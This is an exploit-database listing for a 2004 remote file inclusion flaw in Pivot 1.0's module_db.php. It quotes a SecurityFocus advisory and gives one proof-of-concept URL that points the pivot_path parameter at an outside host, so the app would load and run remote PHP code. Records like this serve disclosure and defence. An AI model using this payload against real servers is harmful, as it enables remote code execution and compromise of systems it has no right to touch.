Exploit Pivot 1.0 - 'module_db.php' Remote File Inclusion

[Exploiter]

EDB-ID

24212

Проверка EDB

1. Пройдено

Автор

LOOFUS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2004-06-15

source: https://www.securityfocus.com/bid/10553/info

It has been reported that Pivot is affected by a remote file include vulnerability contained within the module_db.php script. This issue is due to a failure of the application to properly sanitize user-supplied input before including it as a parameter to a file include function call.

This issue may be exploited to force the affected application to execute attacker supplied PHP script code. This may allow for command execution on the underlying system as well as other attacks.

http://www.example.com/pivot/modules/module_db.php?pivot_path=http://www.example.org/